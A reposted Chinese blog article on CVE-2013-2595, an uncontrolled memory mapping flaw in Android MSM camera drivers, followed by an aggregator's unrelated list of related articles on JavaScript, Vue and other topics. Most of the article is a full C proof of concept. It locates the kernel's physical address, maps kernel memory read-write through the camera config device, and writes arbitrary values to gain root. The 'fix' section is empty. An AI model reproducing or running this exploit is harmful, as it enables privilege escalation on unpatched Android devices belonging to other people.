Uncontrolled memory mapping in camera driver (CVE-2013-2595)

版權聲明:本文為博主原創文章,未經博主同意不得轉載。

https://blog.csdn.net/hu3167343/article/details/34434235

/*

本文章由 莫灰灰 編寫,轉載請注明出處。 ?

作者:莫灰灰 ? ?郵箱: minzhenfei@163.com

*/


1漏洞描寫敘述

漏洞的產生主要是由于攝像頭驅動提供了幾個用于用戶空間調用的接口。

用戶空間能夠使用諸如ioctl或者mmap這種系統調用函數就能對攝像頭驅動產生影響。

黑客能夠非常easy的使用事先構造好的參數將物理內存map到用戶空間,并提升權限。



2.影響設備

絕大多數使用2013年5月1日之前的Linux內核安卓系統


3.PoC

/*** This program is free software: you can redistribute it and/or modify* it under the terms of the GNU General Public License as published by* the Free Software Foundation, either version 3 of the License, or* (at your option) any later version.** This program is distributed in the hope that it will be useful,* but WITHOUT ANY WARRANTY; without even the implied warranty of* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the* GNU General Public License for more details.** You should have received a copy of the GNU General Public License* along with this program.  If not, see <http://www.gnu.org/licenses/>.**/#include <stdint.h>
#include <stdio.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <linux/fb.h>
#include <string.h>#include "msm_cameraconfig.h"#define MSM_CAM_IOCTL_MAGIC 'm'struct msm_mem_map_info {uint32_t cookie;uint32_t length;uint32_t mem_type;
};#define MSM_CAM_IOCTL_SET_MEM_MAP_INFO \_IOR(MSM_CAM_IOCTL_MAGIC, 41, struct msm_mem_map_info *)#define MSM_MEM_MMAP 0#define KERNEL_VIRT_ADDRESS     0xc0000000
#define MAPPED_BASE             0x20000000
#define KERNEL_SIZE             0x02000000static bool kernel_phys_offset_initialized = false;
static unsigned long kernel_phys_offset = 0;static int
get_cpu_implementer(void)
{FILE *fp;char name[BUFSIZ];char value[BUFSIZ];int ret;long int implementer = 0;fp = fopen("/proc/cpuinfo", "r");if (!fp) {printf("Failed to open /proc/cpuinfo due to %s.", strerror(errno));return 0;}while ((ret = fscanf(fp, "%[^:]: %[^\n]\n", name, value)) != EOF) {if (!strncmp(name, "CPU implementer", 15)) {implementer = strtol(value, NULL, 16);break;}}fclose(fp);return implementer;
}static unsigned long int
detect_kernel_phys_address_from_cpuinfo(void)
{int implementer;implementer = get_cpu_implementer();switch (implementer) {case 'Q':   // 0x51return 0x80200000;  }return 0x80000000;
}static unsigned long int
get_system_ram_address_from_iomem(void)
{FILE *fp;char name[BUFSIZ];void *start_address, *end_address;void *system_ram_address = NULL;int ret;fp = fopen("/proc/iomem", "r");if (!fp) {printf("Failed to open /proc/iomem due to %s.\n", strerror(errno));return false;}while ((ret = fscanf(fp, "%p-%p : %[^\n]", &start_address, &end_address, name)) != EOF) {if (!strcmp(name, "System RAM")) {system_ram_address = start_address;continue;}if (!strncmp(name, "Kernel", 6)) {break;}}fclose(fp);return (unsigned long int)system_ram_address;
}static bool
detect_kernel_phys_parameters(void)
{unsigned long int system_ram_address;system_ram_address = get_system_ram_address_from_iomem();if (!system_ram_address) {system_ram_address = detect_kernel_phys_address_from_cpuinfo();}kernel_phys_offset_initialized = true;kernel_phys_offset = system_ram_address;return true;
}void *
msm_cameraconfig_convert_to_mmaped_address(void *address, void *mmap_base_address)
{return mmap_base_address + (uint32_t)address - KERNEL_VIRT_ADDRESS;
}bool
msm_cameraconfig_write_value_at_address(unsigned long int address, int value)
{void *mmap_address = NULL;int *write_address;int fd_video;int fd_config;mmap_address = msm_cameraconfig_mmap(&fd_video, &fd_config);if (mmap_address == MAP_FAILED) {return false;}write_address = msm_cameraconfig_convert_to_mmaped_address((void*)address, mmap_address);*write_address = value;msm_cameraconfig_munmap(mmap_address, fd_video, fd_config);return true;
}bool
msm_cameraconfig_run_exploit(bool(*exploit_callback)(void *mmap_base_address, void *user_data),void *user_data)
{void *mapped_address = NULL;int fd_video;int fd_config;bool success;mapped_address = msm_cameraconfig_mmap(&fd_video, &fd_config);if (mapped_address == MAP_FAILED) {return false;}success = exploit_callback(mapped_address, user_data);msm_cameraconfig_munmap(mapped_address, fd_video, fd_config);return success;
}void
msm_cameraconfig_set_kernel_phys_offset(int offset)
{kernel_phys_offset_initialized = true;kernel_phys_offset = offset;
}void *
msm_cameraconfig_mmap(int *fd_video, int *fd_config)
{struct msm_mem_map_info args;void *mapped_address;if (!kernel_phys_offset_initialized && !detect_kernel_phys_parameters()) {printf("This machine can not use msm_cameraconfig exploit.\n");return MAP_FAILED;}*fd_video = open("/dev/video0", O_RDWR);if (*fd_video < 0) {goto error_exit;}*fd_config = open("/dev/msm_camera/config0", O_RDWR);if (*fd_config < 0) {goto error_exit;}args.cookie = kernel_phys_offset;args.length = KERNEL_SIZE;args.mem_type = MSM_MEM_MMAP;if (ioctl(*fd_config, MSM_CAM_IOCTL_SET_MEM_MAP_INFO, &args) < 0) {goto error_exit;}mapped_address = mmap((void *)MAPPED_BASE, KERNEL_SIZE, PROT_READ | PROT_WRITE,MAP_SHARED, *fd_config, kernel_phys_offset);if (mapped_address == MAP_FAILED) {goto error_exit;}return mapped_address;error_exit:if (*fd_config >= 0) {close(*fd_config);*fd_config = -1;}if (*fd_video >= 0) {close(*fd_video);*fd_video = -1;}return MAP_FAILED;
}int
msm_cameraconfig_munmap(void *address, int fd_video, int fd_config)
{if (address != MAP_FAILED) {int ret;ret = munmap(address, KERNEL_SIZE);if (ret < 0) {printf("Failed to munmap due to %s\n", strerror(errno));return ret;}}close(fd_config);close(fd_video);return 0;
}

4.漏洞修復



5.總結

1.漏洞的利用事實上和Root exploit on Exynos(CVE-2012-6422)差點兒相同,僅僅是map物理內存的方法不同罷了。

2.其次。這個漏洞的補丁也非常奇特。僅僅是簡單的把相關漏洞代碼刪掉了。預計是胡亂抄代碼模板導致的漏洞,哈哈。


轉載于:https://www.cnblogs.com/xfgnongmin/p/10620605.html

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/248245.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/248245.shtml
英文地址,請注明出處:http://en.pswp.cn/news/248245.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

表格隔行變色

<body><table border"0" align"center" cellspacing"1" cellpadding"0"><caption>恭喜發財</caption><thead><tr><th>代碼</th><th>名稱</th><th>最新公布凈值<…

啟動Cognos時報0106錯誤

1. 問題描述 啟動Cognos失敗&#xff0c;報錯代碼為0106。 2. 問題分析 是jdk版本不兼容。 3. 解決方案 方案一&#xff1a;更換jdk1.6&#xff0c;可以使用免安裝版&#xff0c;不需要卸載原有的jdk將java_home的路徑替換成jdk1.6的路徑。 方案二&#xff1a;使用Cognos自帶jd…

項目管理的測試版發布

最近有時間將以前沒有寫完的項目管理程序進一步完善&#xff0c;加入了項目任務之間的關連。功能&#xff1a;1、任務的關連Start to finishStart to startFinish to startFinish to finish2、任務關連表環路檢測3、采用MVC模式進行開發4、自動導出XML5、雙擊連接線可以設置、刪…

劍指offer.機器人的運動范圍

地上有一個 m 行和 n 列的方格&#xff0c;橫縱坐標范圍分別是 0~m?1 和 0~~n?1。一個機器人從坐標0,0的格子開始移動&#xff0c;每一次只能向左&#xff0c;右&#xff0c;上&#xff0c;下四個方向移動一格。但是不能進入行坐標和列坐標的數位之和大于 kk 的格子。請問…

Tab欄切換布局分析

<body><div class"tab"><div class"tab_list"><ul><li class"current">商品介紹</li><li>規格與包裝</li><li>售后包裝</li><li>商品評價(50000)</li><li>手機社…

CLR基礎,CLR運行過程,使用dos命令創建、編譯、運行C#文件,查看IL代碼

CLR是Common Language Runtime的縮寫&#xff0c;是.NET程序集或可執行程序運行的一個虛擬環境。CLR用于管理托管代碼&#xff0c;但是它本身是由非托管代碼編寫的&#xff0c;并不是一個包含了托管代碼的程序集&#xff0c;所以不能使用IL DASM進行查看&#xff0c;但CLR以dll…

表單的全選取消全選

<div class"wrap"><table border"1" cellspacing"0" cellpadding"0"><caption>恭喜發財</caption><thead><tr><th><input type"checkbox" id"j_cbAll" checked&quo…

VUE 數據綁定模塊渲染 computed(實現通過路由id 查詢數據json結構,對應的值來放在面包屑中)...

異步請求的值放在vuex中&#xff0c;然后頁面掛載該數據和渲染頁面 computed 計算屬性是基于它的依賴緩存的。計算屬性在它的相關依賴發生改變時會重新取值&#xff0c;所以當ajax請求回來的數據發生變化時&#xff0c;計算屬性的值會進行更新&#xff0c;相關的模板引用也會重…

ThinkJs筆記瑣碎

ThinkJs筆記瑣碎 記錄一些瑣碎的在使用ThinkJs遇到的問題 靜態資源訪問 ThinkJs默認production環境關閉對www下資源的相對路徑的訪問&#xff0c;官方建議通過nginx轉向的地址的絕對路徑訪問&#xff0c;想要在production環境訪問相對路徑的話需要到src/config/middleware.js里…

js(Dom+Bom)第二天(1)

JavaScript-DOM操作 核心知識點 className操作標簽樣式style屬性方式操作標簽樣式操作表單控件 學習目標 能夠通過className方式給標簽設置樣式能夠通過style方式給標簽設置樣式能夠獲取表單控件中的值 操作元素樣式 語法&#xff1a;1.dom.className 類名;2.dom.style.屬…

HDU 4339 Query

算法: 比賽時沒有想到好的算法&#xff0c;暴力是O&#xff08; Q * N &#xff09;肯定超時。 賽后&#xff0c;線段樹&#xff0c;樹狀數組&#xff0c;HASH都能AC&#xff0c;想了下&#xff0c;的確用樹狀數組 時間復雜度就可以優化到O&#xff08;Q * lgN * lgN) 2000msAC…

201904快速閱讀術

在看過了幾本數之后&#xff0c;發現原來培養讀書的習慣好像也不太難&#xff0c;“將讀書融入生活&#xff0c;框定讀書時間” 生活中&#xff0c;我確實也是這樣執行了。利用每天上下班的時間聽書&#xff0c;有些覺得可以讀快的書籍用了1.5倍速度在聽&#xff0c;難懂的部分…

js(Dom+Bom)第二天(2)

webAPI 00-操作圖片 知識點-獲取圖片src屬性 圖片對象.src ----> 獲取圖片路徑注意: 1. 獲取到的圖片路徑是一個絕對路徑知識點-動態的給圖片標簽設置路徑 圖片對象.src 圖片路徑;注意: 1.可以設置絕對路徑(不推薦) 2.可以設置相對路徑課堂案例-切換圖片案例 01-操作標…

javaScript今日總結

javascript簡單介紹ECMAScript 1.語法 2.變量&#xff1a;只能使用var定義&#xff0c;如果在函數的內容使用var定義&#xff0c;那么它是一個局部變量&#xff0c;如果沒有使用var它是一個全局的。弱類型&#xff01; 3.數據類型&#xff1a;原始數據類型(undefined/null/stri…

使用Connector / Python連接MySQL/查詢數據

使用Connector / Python連接MySQL connect()構造函數創建到MySQL服務器的連接并返回一個 MySQLConnection對象 在python中有以下幾種方法可以連接到MySQL數據庫&#xff1a; 1.使用connect&#xff08;&#xff09;構造函數import mysql.connectorcnx mysql.connector.connect…

最簡方式 表格編輯 基于 el-table

共下面5點1.新增一個顯示和隱藏的參數2.在顯示那邊新增一個input框&#xff0c;用v-model綁定數據&#xff0c;用v-if來顯示和隱藏3.給之前的顯示的span標簽添加v-else 和上面形成if else4.編輯和保存按鈕同理&#xff0c;然后編輯按鈕觸發的任務將所有輸入打開。即seen置為tru…

js(Dom+Bom)第三天(1)

JavaScript-DOM 節點的層次結構 hasChildNodes() 【父元素中是否包含子節點】 dom.hasChildNodes() 總結&#xff1a;1.該方法返回的是一個布爾類型的結果用來判斷當前元素中是否存在子節點。2.該方法會將元素中所有的節點都獲取&#xff08;包括空格&#xff0c;回車符&#…

Spring Boot 自動配置原理

自動配置原理配置文件到底能寫什么&#xff1f;怎么寫&#xff1f;自動配置原理&#xff1b; 參考&#xff1a;https://docs.spring.io/spring-boot/docs/1.5.9.RELEASE/reference/htmlsingle/#common-application-properties配置文件能配置的屬性參照1、自動配置原理&#xff…

這 4 款實用小工具,能讓你的電腦變得好用又騷氣

在日常生活中&#xff0c;我們總會遇到一些重復又繁瑣的工作&#xff0c;它們不僅容易令人煩躁&#xff0c;也極大拖累了咱們的效率。其實&#xff0c;咱們完全可以通過一些工具提升效率&#xff0c;為自己節約出大量時間來干別的~今天就再給大家推薦 4 個免費的 Windows 平臺的…

js(Dom+Bom)第三天(2)

webAPI 0-操作標簽屬性 系統屬性 作用: 1. 可以操作標簽身上的任何一個系統中的自帶屬性 (id, class, name ....) 2. 還可以操作用戶自定義的屬性dom.getAttribute(屬性名)&#xff1b; 作用: getAttribute(屬性名) 方法 就是用來獲取標簽身上屬性的備注: 1. getAttribute() 方…